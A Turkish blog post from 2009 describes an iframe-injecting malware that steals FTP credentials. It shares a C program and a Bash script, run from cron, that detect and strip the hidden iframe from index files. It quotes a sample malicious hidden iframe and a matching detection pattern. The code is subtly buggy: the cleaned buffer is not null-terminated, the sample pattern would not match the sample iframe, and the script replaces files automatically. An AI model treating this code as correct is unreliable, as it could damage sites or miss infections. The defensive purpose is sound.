23 Ağustos 2009 Pazar

Iframe malware - Iframe virüsü

Uzun zamandır web tabanlı yazılım geliştiricileri rahatsız eden bir malware türü var ortalıkta. Bu malware'ın tipik davranışı bir activex açığından yararlanıp kişisel bilgisayarlara yerleşmek, kişinin sunucuya erişmekte kullandığı ftp bilgilerini elde etmek ve ardından bu ftp bilgilerini kullanıp sunucu üzerinde ki index dosyalarına kendisinin diğer pclere yayılmasını sağlacak bir iframe yerleştirmek. Bir iki gün önce bir telefon aldım. Önemli bir web projemin index dosyasında malware iframe bulunduğunu bana haber verdiler. Birden çok kişi pclerini kullanarak proje sunucusunun ftp hizmetiyle eriştiğinden index dosyasına iframe'i atan infekte olmuş pc belirsizdi. Bu durumda önümde iki seçenek vardı. Birincisi sunucuya ftp üzerinden erişimde bulunulan tüm makinelerin güvenliğini sağlamak, ikincisi sunucunun güvenliğini sağlamak. İlk önce hemen index içinde ki iframe kodunu el ile temizledim. Ardından olası infekte olmuş pclerin temizlenmesi için diğerlerini bu konuda uyardım. Fakat nihayi olarak herkezin kendi makinesinin güvenliğini sağlayabilmesi mümkün olmayabilirdi. Bu durumda ikinci seçeneğin daha kesin bir çözüm sağladığına karar verdim. Ama bunu yapmak pratikte pek de kolay gözükmüyordu. Nihayetinde birileri infekte olmuş bilgisayarı ile farkında olmadan yine index'e iframe yerleştirmesine neden olabilirdi. Sunucu tarafında ise herşey olağan gözüktüğünden bu durumun sunucu tarafından yakalanması da en azından anlık olarak zor gözüküyordu. Dosya yetkilerini ftp tarafından yazılamaz hale getirmek aklıma geldiysede üzerinde sürekli geliştirme uygulanan bir proje de bu hiç pratik olmazdı. Fakat bir şekilde bu duruma bir çözüm bulmam gerekiyordu, zamanım son derece kısıtlıydı. O gece aklıma infekte olmuş dosyaları tarayan ve içinde belirli bir formda iframe taşıyanları temizleyen küçük bir tarayıcı programlamak geldi. Bir kaç saat içerisinde elimde somut bişey oluşmuştu. Testleri de yapıp sonucun pozitif olduğunu görmemin ardından rahat bir uykuya daldım.

Bu gün ise aklıma diğer meslektaşlarımın da bu tür bir çözümü kullanmak isteyebilecekleri geldi ve iframe avlayıcısının nasıl çalıştığını anlatmaya koyuldum :

Öncelikle iframe avlayıcısı iki parçadan meydana geliyor
1) Küçük bir C programı
2) Küçük bir Bash scripti

C programı C'nin C99 sürümünü destekleyen tüm C derleyicilerinde derlenebilirdir ve aşağıda kaynak kodu bulunmaktadır :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>

#define LINE_BUFFER_LEN 32768
#define PATTERN_ELEMENT_LENGTH 128

const char IFRAME_VIRUS_PATTERN[][PATTERN_ELEMENT_LENGTH] = {
"<iframe",
"src=\"http://",
"width=",
"height=",
"style=\"visibility: hidden\">",
"</iframe>"
};

typedef struct {
const char *start;
const char *end;
} VirusLocation;

bool isLineInfected(const char *line, VirusLocation *vloc);
void clearInfectedLine(char *line, const VirusLocation *vloc);

int
main(int argc, char *argv[]) {
FILE * sourceFile;
const char *filePath = NULL;

if (argc == 2) {
filePath = argv[1];
} else {
printf("Usage : aiframe [filename]\n");
return EXIT_FAILURE;
}

sourceFile = fopen(filePath, "r");

if (sourceFile != NULL) {
char lineBuffer[LINE_BUFFER_LEN];
VirusLocation vloc;
while (!feof(sourceFile)) {
fgets(lineBuffer, LINE_BUFFER_LEN, sourceFile);
if (isLineInfected(lineBuffer, &vloc)) {
clearInfectedLine(lineBuffer, &vloc);
}
if (!feof(sourceFile)) {
printf("%s", lineBuffer);
}
}
fclose (sourceFile);
} else {
printf("Can not open file : %s\n", filePath);
}

return EXIT_SUCCESS;
}

bool
isLineInfected(const char *line, VirusLocation *vloc) {
const char *linePtr = line;
const int patternLen = sizeof(IFRAME_VIRUS_PATTERN) / PATTERN_ELEMENT_LENGTH;

int i;
for (i = 0; i < patternLen; i++) {
if ((linePtr = strstr(linePtr, IFRAME_VIRUS_PATTERN[i])) == NULL) {
return false;
} else {
if (i == 0) {
vloc->start = linePtr;
} else if (i == (patternLen - 1)) {
vloc->end =
linePtr + strlen(IFRAME_VIRUS_PATTERN[patternLen - 1]) - 1;
}
}
}
return true;
}

void
clearInfectedLine(char *line, const VirusLocation *vloc) {
const char *linePtr = line;
char clearedLine[LINE_BUFFER_LEN];

int i = 0;
while (*linePtr != '\0') {
if (linePtr < vloc->start || linePtr > vloc->end) {
clearedLine[i++] = *linePtr;
}
linePtr++;
}
strcpy(line, clearedLine);
}


Bash scripti ise yukarda kaynak kodu verilmiş C programını kullanır
(C programının derlenmiş halinin adı "aiframe" olmalı) :

#!/bin/bash

SOURCE_FILE=$1
SCANNED_FILE=$1.tmp
aiframe $SOURCE_FILE > $SCANNED_FILE

SOURCE_FILE_SIZE=$(du -b $SOURCE_FILE | awk '{ print $1 }')
SCANNED_FILE_SIZE=$(du -b $SCANNED_FILE | awk '{ print $1 }')

if [ $SOURCE_FILE_SIZE != $SCANNED_FILE_SIZE ]; then
echo File sizes not equal : $SOURCE_FILE_SIZE, $SCANNED_FILE_SIZE
echo File is possible to infected : $SOURCE_FILE
SOURCE_FILE_OWNER=$(ls -l $SOURCE_FILE | awk '{print $3}')
SOURCE_FILE_GROUP=$(ls -l $SOURCE_FILE | awk '{print $4}')
rm -f $SOURCE_FILE
mv $SCANNED_FILE $SOURCE_FILE
chown $SOURCE_FILE_OWNER:$SOURCE_FILE_GROUP $SOURCE_FILE
fi

rm -f $SCANNED_FILE


Peki bu programı nasıl kullanıyoruz?

Öncelikle C programımızın IFRAME_VIRUS_PATTERN kısmını size bela olmuş iframe malware'ına göre düzenleyin.

Eğer index dosyalarınıza malware tarafından eklenmekte olan iframe kodu :

<iframe src="http://iambad.com/" height=123 width=343 style="visibility:hidden"></iframe>

gibiyse IFRAME_VIRUS_PATTERN kısmını sırası ile

const char IFRAME_VIRUS_PATTERN[][PATTERN_ELEMENT_LENGTH] = {
"<iframe",
"src=\"http://iambad.com/",
"height=",
"width=",
"style=\"visibility: hidden\">",
"</iframe>"
};


gibi düzenleyebilirsiniz. Burada amaç malware'ın eklediği iframe'in sabit olan kısımlarını sırası ile belirlemek(ortalıkta farklı ve değişken formları mevcut). Ben yukarıda ki iframe tanımında "<iframe", "src=\"http://iambad.com/" .. gibi kısımlarının ne olursa olsun sabit olduğunu varsaydım. Burada kesinlikle dikkat etmenizin gerektiği bir nokta var. Eğer index dosyalarınızın içinde daha önceden eklemiş olduğunuz iframeleriniz bulunuyorsa IFRAME_VIRUS_PATTERN'in onlarla uyuşmamasını sağlamalısınız, aksi taktirde onlarda malware olarak algılanıp kaldırılırlar.

IFRAME_VIRUS_PATTERN kısmını düzenlediyseniz programı derlemek için;
gcc aiframe_kaynak_kodu.c -o aiframe
bash komutunu kullanabilirsiniz.

Ardından bash scriptini de aiframe_run.sh dosyası altında kayıt edin ve aiframe_run.sh ile birlikte derlenmiş aiframe adında ki C programımızı /usr/bin dizini altına atın.

Artık tek yapmanız gereken
find /web/dosyalarının/kök/dizini -type f -name index.* -exec aiframe_run.sh '{}' \;
gibi tüm web dökümanlarını tarayan bir bash komutunu belirli aralıklar ile çalışacak hale getirmek. Bunun için crontab'ı kullanabilirsiniz. Bu sayede artık index dosyalarımıza malware'ın eklemiş olduğu iframe kodları otomatik olarak çok kısa bir süre içerisinde kaldırılacaktır.

Tüm bunların yanında belirtmeliyim ki. Iframe avlayıcısından kaynaklanabilecek herhangi bir zarardan ötürü sorumluluk kabul edilmemektedir. Ne yaptığınızı bilerek ve sorumluluğu alarak yapın. Tüm web kök dizinine uygulamadan önce güvenli bir iki test yapmanızı öneririm.

Hiç yorum yok:

Yorum Gönder